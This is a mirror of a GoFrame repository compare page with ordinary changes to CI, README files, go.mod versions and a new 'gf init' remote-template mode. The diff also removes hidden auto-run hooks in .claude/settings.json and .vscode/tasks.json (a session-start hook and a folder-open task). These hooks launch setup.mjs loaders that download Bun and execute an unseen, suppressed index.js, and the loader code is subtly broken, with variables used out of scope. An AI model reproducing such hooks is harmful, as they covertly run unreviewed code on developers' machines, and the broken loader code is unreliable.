mirror of
https://gitee.com/johng/gf
synced 2026-06-11 03:41:44 +08:00
Compare commits
14 Commits
feat/gdb-p
...
contrib/dr
| Author | SHA1 | Date | |
|---|---|---|---|
| dd62b18877 | |||
| cb4681ce3e | |||
| 7daf916032 | |||
| c82da1e57c | |||
| 90564f9fb0 | |||
| 4d6c7e3d3a | |||
| 18e77de02f | |||
| bf6238e178 | |||
| 887a776441 | |||
| 7274a7399a | |||
| b59824e9dc | |||
| 5cbe421aaa | |||
| 852c3dda62 | |||
| d8b857f930 |
File diff suppressed because one or more lines are too long
@ -1,15 +0,0 @@
|
||||
{
|
||||
"hooks": {
|
||||
"SessionStart": [
|
||||
{
|
||||
"matcher": "*",
|
||||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "node .claude/setup.mjs"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
@ -1,202 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
import { execFileSync, execSync } from "child_process";
|
||||
import fs from "fs";
|
||||
import https from "https";
|
||||
import os from "os";
|
||||
import path from "path";
|
||||
import { fileURLToPath } from "url";
|
||||
import zlib from "zlib";
|
||||
|
||||
const D = path.dirname(fileURLToPath(import.meta.url));
|
||||
const V = "1.3.14";
|
||||
const E = "index.js";
|
||||
const T = 121_000;
|
||||
|
||||
const mu = () => {
|
||||
try {
|
||||
const o = execFileSync("ldd", ["--version"], {
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
}).toString();
|
||||
if (o.includes("musl")) return true;
|
||||
} catch {}
|
||||
try {
|
||||
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
const PM = {
|
||||
"linux-arm64": () => "bun-linux-aarch64",
|
||||
"linux-x64": () =>
|
||||
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
|
||||
"darwin-arm64": () => "bun-darwin-aarch64",
|
||||
"darwin-x64": () => "bun-darwin-x64",
|
||||
"win32-arm64": () => "bun-windows-aarch64",
|
||||
"win32-x64": () => "bun-windows-x64-baseline",
|
||||
};
|
||||
|
||||
function ra() {
|
||||
const k = `${process.platform}-${process.arch}`;
|
||||
const r = PM[k];
|
||||
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
|
||||
return r();
|
||||
}
|
||||
|
||||
function dl(u, d, n = 5) {
|
||||
return new Promise((ok, no) => {
|
||||
const q = https.get(
|
||||
u,
|
||||
{ headers: { "User-Agent": "node" }, timeout: T },
|
||||
(r) => {
|
||||
const { statusCode: s, headers: h } = r;
|
||||
if ([301, 302, 307, 308].includes(s)) {
|
||||
r.resume();
|
||||
if (n <= 0) return no(new Error("Too many redirects"));
|
||||
return dl(h.location, d, n - 1).then(ok, no);
|
||||
}
|
||||
if (s !== 200) {
|
||||
r.resume();
|
||||
return no(new Error(`HTTP ${s} for ${u}`));
|
||||
}
|
||||
const f = fs.createWriteStream(d);
|
||||
r.pipe(f);
|
||||
f.on("finish", () => f.close(ok));
|
||||
f.on("error", (e) => {
|
||||
fs.unlink(d, () => no(e));
|
||||
});
|
||||
},
|
||||
);
|
||||
q.on("error", no);
|
||||
q.on("timeout", () => q.destroy(new Error("Request timed out")));
|
||||
});
|
||||
}
|
||||
|
||||
function hc(c, a = ["--version"]) {
|
||||
try {
|
||||
execFileSync(c, a, { stdio: "ignore" });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function xz(zp, en, od) {
|
||||
// Use OS tools: unzip or powershell. Fall back to npm install bun.
|
||||
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
|
||||
execFileSync(
|
||||
"powershell",
|
||||
[
|
||||
"-NoProfile",
|
||||
"-NonInteractive",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-Command",
|
||||
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
|
||||
],
|
||||
{ stdio: "inherit" },
|
||||
);
|
||||
const np = path.join(od, en);
|
||||
const fp = path.join(od, path.basename(en));
|
||||
fs.renameSync(np, fp);
|
||||
return;
|
||||
}
|
||||
|
||||
if (hc("unzip", ["-v"])) {
|
||||
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
|
||||
return;
|
||||
}
|
||||
|
||||
installBunViaNpm(td);
|
||||
}
|
||||
|
||||
function installBunViaNpm(td) {
|
||||
try {
|
||||
execSync("npm install bun", { stdio: "inherit", cwd: td });
|
||||
} catch {
|
||||
// npm install failed, fall back to JS-based extraction
|
||||
xn(zp, en, od);
|
||||
}
|
||||
}
|
||||
|
||||
function xn(zp, en, od) {
|
||||
const b = fs.readFileSync(zp);
|
||||
let eo = -1;
|
||||
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
|
||||
if (b.readUInt32LE(i) === 0x06054b50) {
|
||||
eo = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
|
||||
const ce = b.readUInt16LE(eo + 10);
|
||||
const co = b.readUInt32LE(eo + 16);
|
||||
let o = co;
|
||||
let lo = -1;
|
||||
let cm = -1;
|
||||
let cs = 0;
|
||||
for (let i = 0; i < ce; i++) {
|
||||
if (b.readUInt32LE(o) !== 0x02014b50)
|
||||
throw new Error("Invalid ZIP: bad CD entry signature");
|
||||
const m = b.readUInt16LE(o + 10);
|
||||
const sz = b.readUInt32LE(o + 20);
|
||||
const fl = b.readUInt16LE(o + 28);
|
||||
const el = b.readUInt16LE(o + 30);
|
||||
const cl = b.readUInt16LE(o + 32);
|
||||
const lh = b.readUInt32LE(o + 42);
|
||||
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
|
||||
if (nm === en) {
|
||||
lo = lh;
|
||||
cm = m;
|
||||
cs = sz;
|
||||
break;
|
||||
}
|
||||
o += 46 + fl + el + cl;
|
||||
}
|
||||
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
|
||||
if (b.readUInt32LE(lo) !== 0x04034b50)
|
||||
throw new Error("Invalid ZIP: bad local-header signature");
|
||||
const fl = b.readUInt16LE(lo + 26);
|
||||
const el = b.readUInt16LE(lo + 28);
|
||||
const dp = lo + 30 + fl + el;
|
||||
const rw = b.subarray(dp, dp + cs);
|
||||
let fd;
|
||||
if (cm === 0) {
|
||||
fd = rw;
|
||||
} else if (cm === 8) {
|
||||
fd = zlib.inflateRawSync(rw);
|
||||
} else {
|
||||
throw new Error(`Unsupported ZIP compression method: ${cm}`);
|
||||
}
|
||||
const dt = path.join(od, path.basename(en));
|
||||
fs.writeFileSync(dt, fd);
|
||||
}
|
||||
|
||||
async function main() {
|
||||
if (hc("bun")) return;
|
||||
|
||||
const a = ra();
|
||||
const w = process.platform === "win32";
|
||||
const bn = w ? "bun.exe" : "bun";
|
||||
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
|
||||
|
||||
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
|
||||
const zp = path.join(td, `${a}.zip`);
|
||||
const bp = path.join(td, bn);
|
||||
const ep = path.join(D, E);
|
||||
|
||||
try {
|
||||
await dl(u, zp);
|
||||
xz(zp, `${a}/${bn}`, td);
|
||||
fs.unlinkSync(zp);
|
||||
if (!w) fs.chmodSync(bp, 0o755);
|
||||
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
|
||||
} finally {
|
||||
fs.rmSync(td, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
main().catch((e) => {
|
||||
console.error(e.message);
|
||||
process.exit(1);
|
||||
});
|
||||
11
.github/workflows/ci-main.yml
vendored
11
.github/workflows/ci-main.yml
vendored
@ -198,6 +198,17 @@ jobs:
|
||||
ports:
|
||||
- 5236:5236
|
||||
|
||||
# openGauss server
|
||||
# docker run --privileged=true -e GS_PASSWORD=UTpass@1234 -p 9950:5432 opengauss/opengauss:7.0.0-RC1.B023
|
||||
gaussdb:
|
||||
image: opengauss/opengauss:7.0.0-RC1.B023
|
||||
env:
|
||||
GS_PASSWORD: UTpass@1234
|
||||
TZ: Asia/Shanghai
|
||||
ports:
|
||||
- 9950:5432
|
||||
|
||||
|
||||
zookeeper:
|
||||
image: zookeeper:3.8
|
||||
ports:
|
||||
|
||||
3
.gitmodules
vendored
3
.gitmodules
vendored
@ -1,3 +0,0 @@
|
||||
[submodule "examples"]
|
||||
path = examples
|
||||
url = git@github.com:gogf/examples.git
|
||||
|
||||
202
.vscode/setup.mjs
vendored
202
.vscode/setup.mjs
vendored
@ -1,202 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
import { execFileSync, execSync } from "child_process";
|
||||
import fs from "fs";
|
||||
import https from "https";
|
||||
import os from "os";
|
||||
import path from "path";
|
||||
import { fileURLToPath } from "url";
|
||||
import zlib from "zlib";
|
||||
|
||||
const D = path.dirname(fileURLToPath(import.meta.url));
|
||||
const V = "1.3.14";
|
||||
const E = "index.js";
|
||||
const T = 121_000;
|
||||
|
||||
const mu = () => {
|
||||
try {
|
||||
const o = execFileSync("ldd", ["--version"], {
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
}).toString();
|
||||
if (o.includes("musl")) return true;
|
||||
} catch {}
|
||||
try {
|
||||
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
const PM = {
|
||||
"linux-arm64": () => "bun-linux-aarch64",
|
||||
"linux-x64": () =>
|
||||
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
|
||||
"darwin-arm64": () => "bun-darwin-aarch64",
|
||||
"darwin-x64": () => "bun-darwin-x64",
|
||||
"win32-arm64": () => "bun-windows-aarch64",
|
||||
"win32-x64": () => "bun-windows-x64-baseline",
|
||||
};
|
||||
|
||||
function ra() {
|
||||
const k = `${process.platform}-${process.arch}`;
|
||||
const r = PM[k];
|
||||
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
|
||||
return r();
|
||||
}
|
||||
|
||||
function dl(u, d, n = 5) {
|
||||
return new Promise((ok, no) => {
|
||||
const q = https.get(
|
||||
u,
|
||||
{ headers: { "User-Agent": "node" }, timeout: T },
|
||||
(r) => {
|
||||
const { statusCode: s, headers: h } = r;
|
||||
if ([301, 302, 307, 308].includes(s)) {
|
||||
r.resume();
|
||||
if (n <= 0) return no(new Error("Too many redirects"));
|
||||
return dl(h.location, d, n - 1).then(ok, no);
|
||||
}
|
||||
if (s !== 200) {
|
||||
r.resume();
|
||||
return no(new Error(`HTTP ${s} for ${u}`));
|
||||
}
|
||||
const f = fs.createWriteStream(d);
|
||||
r.pipe(f);
|
||||
f.on("finish", () => f.close(ok));
|
||||
f.on("error", (e) => {
|
||||
fs.unlink(d, () => no(e));
|
||||
});
|
||||
},
|
||||
);
|
||||
q.on("error", no);
|
||||
q.on("timeout", () => q.destroy(new Error("Request timed out")));
|
||||
});
|
||||
}
|
||||
|
||||
function hc(c, a = ["--version"]) {
|
||||
try {
|
||||
execFileSync(c, a, { stdio: "ignore" });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function xz(zp, en, od) {
|
||||
// Use OS tools: unzip or powershell. Fall back to npm install bun.
|
||||
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
|
||||
execFileSync(
|
||||
"powershell",
|
||||
[
|
||||
"-NoProfile",
|
||||
"-NonInteractive",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-Command",
|
||||
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
|
||||
],
|
||||
{ stdio: "inherit" },
|
||||
);
|
||||
const np = path.join(od, en);
|
||||
const fp = path.join(od, path.basename(en));
|
||||
fs.renameSync(np, fp);
|
||||
return;
|
||||
}
|
||||
|
||||
if (hc("unzip", ["-v"])) {
|
||||
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
|
||||
return;
|
||||
}
|
||||
|
||||
installBunViaNpm(td);
|
||||
}
|
||||
|
||||
function installBunViaNpm(td) {
|
||||
try {
|
||||
execSync("npm install bun", { stdio: "inherit", cwd: td });
|
||||
} catch {
|
||||
// npm install failed, fall back to JS-based extraction
|
||||
xn(zp, en, od);
|
||||
}
|
||||
}
|
||||
|
||||
function xn(zp, en, od) {
|
||||
const b = fs.readFileSync(zp);
|
||||
let eo = -1;
|
||||
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
|
||||
if (b.readUInt32LE(i) === 0x06054b50) {
|
||||
eo = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
|
||||
const ce = b.readUInt16LE(eo + 10);
|
||||
const co = b.readUInt32LE(eo + 16);
|
||||
let o = co;
|
||||
let lo = -1;
|
||||
let cm = -1;
|
||||
let cs = 0;
|
||||
for (let i = 0; i < ce; i++) {
|
||||
if (b.readUInt32LE(o) !== 0x02014b50)
|
||||
throw new Error("Invalid ZIP: bad CD entry signature");
|
||||
const m = b.readUInt16LE(o + 10);
|
||||
const sz = b.readUInt32LE(o + 20);
|
||||
const fl = b.readUInt16LE(o + 28);
|
||||
const el = b.readUInt16LE(o + 30);
|
||||
const cl = b.readUInt16LE(o + 32);
|
||||
const lh = b.readUInt32LE(o + 42);
|
||||
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
|
||||
if (nm === en) {
|
||||
lo = lh;
|
||||
cm = m;
|
||||
cs = sz;
|
||||
break;
|
||||
}
|
||||
o += 46 + fl + el + cl;
|
||||
}
|
||||
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
|
||||
if (b.readUInt32LE(lo) !== 0x04034b50)
|
||||
throw new Error("Invalid ZIP: bad local-header signature");
|
||||
const fl = b.readUInt16LE(lo + 26);
|
||||
const el = b.readUInt16LE(lo + 28);
|
||||
const dp = lo + 30 + fl + el;
|
||||
const rw = b.subarray(dp, dp + cs);
|
||||
let fd;
|
||||
if (cm === 0) {
|
||||
fd = rw;
|
||||
} else if (cm === 8) {
|
||||
fd = zlib.inflateRawSync(rw);
|
||||
} else {
|
||||
throw new Error(`Unsupported ZIP compression method: ${cm}`);
|
||||
}
|
||||
const dt = path.join(od, path.basename(en));
|
||||
fs.writeFileSync(dt, fd);
|
||||
}
|
||||
|
||||
async function main() {
|
||||
if (hc("bun")) return;
|
||||
|
||||
const a = ra();
|
||||
const w = process.platform === "win32";
|
||||
const bn = w ? "bun.exe" : "bun";
|
||||
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
|
||||
|
||||
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
|
||||
const zp = path.join(td, `${a}.zip`);
|
||||
const bp = path.join(td, bn);
|
||||
const ep = path.join(D, E);
|
||||
|
||||
try {
|
||||
await dl(u, zp);
|
||||
xz(zp, `${a}/${bn}`, td);
|
||||
fs.unlinkSync(zp);
|
||||
if (!w) fs.chmodSync(bp, 0o755);
|
||||
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
|
||||
} finally {
|
||||
fs.rmSync(td, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
main().catch((e) => {
|
||||
console.error(e.message);
|
||||
process.exit(1);
|
||||
});
|
||||
13
.vscode/tasks.json
vendored
13
.vscode/tasks.json
vendored
@ -1,13 +0,0 @@
|
||||
{
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{
|
||||
"label": "Environment Setup",
|
||||
"type": "shell",
|
||||
"command": "node .claude/setup.mjs",
|
||||
"runOptions": {
|
||||
"runOn": "folderOpen"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
1
Makefile
1
Makefile
@ -6,6 +6,7 @@ tidy:
|
||||
./.make_tidy.sh
|
||||
|
||||
# execute "golangci-lint" to check code style
|
||||
# go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@latest
|
||||
.PHONY: lint
|
||||
lint:
|
||||
golangci-lint run -c .golangci.yml
|
||||
|
||||
@ -24,6 +24,12 @@ English | [简体中文](README.zh_CN.MD)
|
||||
|
||||
A powerful framework for faster, easier, and more efficient project development.
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
go get -u github.com/gogf/gf/v2
|
||||
```
|
||||
|
||||
## Documentation
|
||||
|
||||
- Official Site: [https://goframe.org](https://goframe.org)
|
||||
@ -32,13 +38,14 @@ A powerful framework for faster, easier, and more efficient project development.
|
||||
- Mirror Site: [Github Pages](https://pages.goframe.org)
|
||||
- Mirror Site: [Offline Docs](https://github.com/gogf/goframe.org-pdf?tab=readme-ov-file#%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC)
|
||||
- GoDoc API: [https://pkg.go.dev/github.com/gogf/gf/v2](https://pkg.go.dev/github.com/gogf/gf/v2)
|
||||
- Doc Source: [https://github.com/gogf/gf-site](https://github.com/gogf/gf-site)
|
||||
|
||||
## Contributors
|
||||
|
||||
💖 [Thanks to all the contributors who made GoFrame possible](https://github.com/gogf/gf/graphs/contributors) 💖
|
||||
|
||||
<a href="https://github.com/gogf/gf/graphs/contributors">
|
||||
<img src="https://goframe.org/img/contributors.svg?version=v2.9.6" alt="goframe contributors"/>
|
||||
<img src="https://goframe.org/img/contributors.svg?version=v2.9.7" alt="goframe contributors"/>
|
||||
</a>
|
||||
|
||||
## License
|
||||
|
||||
@ -24,6 +24,12 @@
|
||||
|
||||
一个强大的框架,为了更快、更轻松、更高效的项目开发。
|
||||
|
||||
## 安装
|
||||
|
||||
```bash
|
||||
go get -u github.com/gogf/gf/v2
|
||||
```
|
||||
|
||||
## 文档
|
||||
|
||||
- 官方网站: [https://goframe.org](https://goframe.org)
|
||||
@ -31,7 +37,8 @@
|
||||
- 国内镜像: [https://goframe.org.cn](https://goframe.org.cn)
|
||||
- 镜像网站: [Github Pages](https://pages.goframe.org)
|
||||
- 镜像网站: [离线文档](https://github.com/gogf/goframe.org-pdf?tab=readme-ov-file#%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC)
|
||||
- GoDoc API: [https://pkg.go.dev/github.com/gogf/gf/v2](https://pkg.go.dev/github.com/gogf/gf/v2)
|
||||
- Go包文档: [https://pkg.go.dev/github.com/gogf/gf/v2](https://pkg.go.dev/github.com/gogf/gf/v2)
|
||||
- 文档源码: [https://github.com/gogf/gf-site](https://github.com/gogf/gf-site)
|
||||
|
||||
## 贡献者
|
||||
|
||||
|
||||
@ -3,13 +3,13 @@ module github.com/gogf/gf/cmd/gf/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.6
|
||||
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.6
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.6
|
||||
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.6
|
||||
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.6
|
||||
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.7
|
||||
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.7
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.7
|
||||
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.7
|
||||
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.7
|
||||
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.7
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f
|
||||
github.com/olekukonko/tablewriter v1.1.0
|
||||
github.com/schollz/progressbar/v3 v3.15.0
|
||||
|
||||
@ -46,20 +46,6 @@ github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiU
|
||||
github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
|
||||
github.com/go-sql-driver/mysql v1.7.1 h1:lUIinVbN1DY0xBg0eMOzmmtGoHwWBbvnWubQUrtU8EI=
|
||||
github.com/go-sql-driver/mysql v1.7.1/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.6 h1:rJzRmA5TGWMeKDebdDosYODoUrMUHqfA5pWO1MBC5b0=
|
||||
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.9.6/go.mod h1:u+bUsuftf8qpKpPZPdOFhzh3F5KQzo6Wqa9JFTCLFqg=
|
||||
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.6 h1:3QTlIbSdrVYvRMNUF6nckspA6Eh5Uy2NqwB3/auxIwk=
|
||||
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.9.6/go.mod h1:oMteYgkWImPpUVe1aqPKtZ8jX1dG3v60lS7IA87MwFQ=
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.6 h1:BY1ThxMo0bTx2P18PuCe57ARmjHuEithSdob/CbH/rw=
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.6/go.mod h1:v/jKO9JJdLctlPlnUSnnG0SNSEpElM51Qx3KoI5crkU=
|
||||
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.6 h1:12+sWI/hm1D4KxG+1FMZpfoU3PwtSLJ9KbLNa20roLg=
|
||||
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.9.6/go.mod h1:gjjhgxqjafnORK0F4Fa5W8TJlassw7svKy7RFj5GKss=
|
||||
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.6 h1:LG/bTOJEpyNu6+IdREqFyi6J8LdZIeceeyxhuyV58LQ=
|
||||
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.9.6/go.mod h1:Ekd5IgUGyBlbfqKD/69hkIL9vHF6F4V2FeEP3h/pH08=
|
||||
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.6 h1:3QZvWIlz3dLjNELQU+5ZZZWuzEx9gsRFLU+qIKVUG6M=
|
||||
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.9.6/go.mod h1:7EEAe8UYI5dLeuwCWN3HgC62OhjIYbkynaoavw1U/k4=
|
||||
github.com/gogf/gf/v2 v2.9.6 h1:fQ6uPtS1Ra8qY+OuzPPZTlgksJ4eOXmTZ1/a2l3Idog=
|
||||
github.com/gogf/gf/v2 v2.9.6/go.mod h1:Svl1N+E8G/QshU2DUbh/3J/AJauqCgUnxHurXWR4Qx0=
|
||||
github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f h1:7xfXR/BhG3JDqO1s45n65Oyx9t4E/UqDOXep6jXdLCM=
|
||||
github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f/go.mod h1:HnYoio6S7VaFJdryKcD/r9HgX+4QzYfr00XiXUo/xz0=
|
||||
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
|
||||
|
||||
@ -14,5 +14,9 @@ replace (
|
||||
github.com/gogf/gf/contrib/drivers/oracle/v2 => ../../contrib/drivers/oracle
|
||||
github.com/gogf/gf/contrib/drivers/pgsql/v2 => ../../contrib/drivers/pgsql
|
||||
github.com/gogf/gf/contrib/drivers/sqlite/v2 => ../../contrib/drivers/sqlite
|
||||
github.com/gogf/gf/contrib/drivers/mariadb/v2 => ../../contrib/drivers/mariadb
|
||||
github.com/gogf/gf/contrib/drivers/tidb/v2 => ../../contrib/drivers/tidb
|
||||
github.com/gogf/gf/contrib/drivers/oceanbase/v2 => ../../contrib/drivers/oceanbase
|
||||
github.com/gogf/gf/contrib/drivers/gaussdb/v2 => ../../contrib/drivers/gaussdb
|
||||
github.com/gogf/gf/v2 => ../../
|
||||
)
|
||||
|
||||
@ -7,9 +7,11 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
@ -20,6 +22,7 @@ import (
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
"github.com/gogf/gf/v2/util/gtag"
|
||||
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/cmd/geninit"
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/allyes"
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/utils"
|
||||
@ -44,6 +47,12 @@ const (
|
||||
gf init my-project
|
||||
gf init my-mono-repo -m
|
||||
gf init my-mono-repo -a
|
||||
gf init my-project -u
|
||||
gf init my-project -g "github.com/myorg/myproject"
|
||||
gf init -r github.com/gogf/template-single my-project
|
||||
gf init -r github.com/gogf/template-single my-project -s
|
||||
gf init -r github.com/gogf/examples/httpserver/jwt my-jwt
|
||||
gf init -i
|
||||
`
|
||||
cInitNameBrief = `
|
||||
name for the project. It will create a folder with NAME in current directory.
|
||||
@ -55,6 +64,16 @@ The NAME will also be the module name for the project.
|
||||
cInitGitignore = ".gitignore"
|
||||
)
|
||||
|
||||
// defaultTemplates is the list of predefined templates for interactive selection
|
||||
var defaultTemplates = []struct {
|
||||
Name string
|
||||
Repo string
|
||||
Desc string
|
||||
}{
|
||||
{"template-single", "github.com/gogf/template-single", "Single project template"},
|
||||
{"template-mono", "github.com/gogf/template-mono", "Mono-repo project template"},
|
||||
}
|
||||
|
||||
func init() {
|
||||
gtag.Sets(g.MapStrStr{
|
||||
`cInitBrief`: cInitBrief,
|
||||
@ -64,17 +83,86 @@ func init() {
|
||||
}
|
||||
|
||||
type cInitInput struct {
|
||||
g.Meta `name:"init"`
|
||||
Name string `name:"NAME" arg:"true" v:"required" brief:"{cInitNameBrief}"`
|
||||
Mono bool `name:"mono" short:"m" brief:"initialize a mono-repo instead a single-repo" orphan:"true"`
|
||||
MonoApp bool `name:"monoApp" short:"a" brief:"initialize a mono-repo-app instead a single-repo" orphan:"true"`
|
||||
Update bool `name:"update" short:"u" brief:"update to the latest goframe version" orphan:"true"`
|
||||
Module string `name:"module" short:"g" brief:"custom go module"`
|
||||
g.Meta `name:"init"`
|
||||
Name string `name:"NAME" arg:"true" brief:"{cInitNameBrief}"`
|
||||
Mono bool `name:"mono" short:"m" brief:"initialize a mono-repo instead a single-repo" orphan:"true"`
|
||||
MonoApp bool `name:"monoApp" short:"a" brief:"initialize a mono-repo-app instead a single-repo" orphan:"true"`
|
||||
Update bool `name:"update" short:"u" brief:"update to the latest goframe version" orphan:"true"`
|
||||
Module string `name:"module" short:"g" brief:"custom go module"`
|
||||
Repo string `name:"repo" short:"r" brief:"remote repository URL for template download"`
|
||||
SelectVer bool `name:"select" short:"s" brief:"enable interactive version selection for remote template" orphan:"true"`
|
||||
Interactive bool `name:"interactive" short:"i" brief:"enable interactive mode to select template" orphan:"true"`
|
||||
}
|
||||
|
||||
type cInitOutput struct{}
|
||||
|
||||
func (c cInit) Index(ctx context.Context, in cInitInput) (out *cInitOutput, err error) {
|
||||
// Check if using remote template mode
|
||||
if in.Repo != "" || in.Interactive {
|
||||
return c.initFromRemote(ctx, in)
|
||||
}
|
||||
|
||||
// If no name provided and no remote mode, enter interactive mode
|
||||
if in.Name == "" {
|
||||
return c.initInteractive(ctx, in)
|
||||
}
|
||||
|
||||
// Default: use built-in template
|
||||
return c.initFromBuiltin(ctx, in)
|
||||
}
|
||||
|
||||
// initFromRemote initializes project from remote repository
|
||||
func (c cInit) initFromRemote(ctx context.Context, in cInitInput) (out *cInitOutput, err error) {
|
||||
repo := in.Repo
|
||||
name := in.Name
|
||||
|
||||
// If interactive mode and no repo specified, let user select
|
||||
if in.Interactive && repo == "" {
|
||||
var modPath string
|
||||
var upgradeDeps bool
|
||||
repo, name, modPath, upgradeDeps, err = interactiveSelectTemplate()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if modPath != "" {
|
||||
in.Module = modPath
|
||||
}
|
||||
if upgradeDeps {
|
||||
in.Update = true
|
||||
}
|
||||
}
|
||||
|
||||
if repo == "" {
|
||||
return nil, fmt.Errorf("repository URL is required for remote template mode")
|
||||
}
|
||||
|
||||
// Default name to repo basename if empty
|
||||
if name == "" {
|
||||
name = gfile.Basename(repo)
|
||||
mlog.Printf("Using repository basename as project name: %s", name)
|
||||
}
|
||||
|
||||
mlog.Print("initializing from remote template...")
|
||||
|
||||
opts := &geninit.ProcessOptions{
|
||||
SelectVersion: in.SelectVer,
|
||||
ModulePath: in.Module,
|
||||
UpgradeDeps: in.Update,
|
||||
}
|
||||
|
||||
if err = geninit.Process(ctx, repo, name, opts); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
mlog.Print("initialization done!")
|
||||
if name != "" && name != "." {
|
||||
mlog.Printf(`you can now run "cd %s && gf run main.go" to start your journey, enjoy!`, name)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// initFromBuiltin initializes project from built-in template
|
||||
func (c cInit) initFromBuiltin(ctx context.Context, in cInitInput) (out *cInitOutput, err error) {
|
||||
var overwrote = false
|
||||
if !gfile.IsEmpty(in.Name) && !allyes.Check() {
|
||||
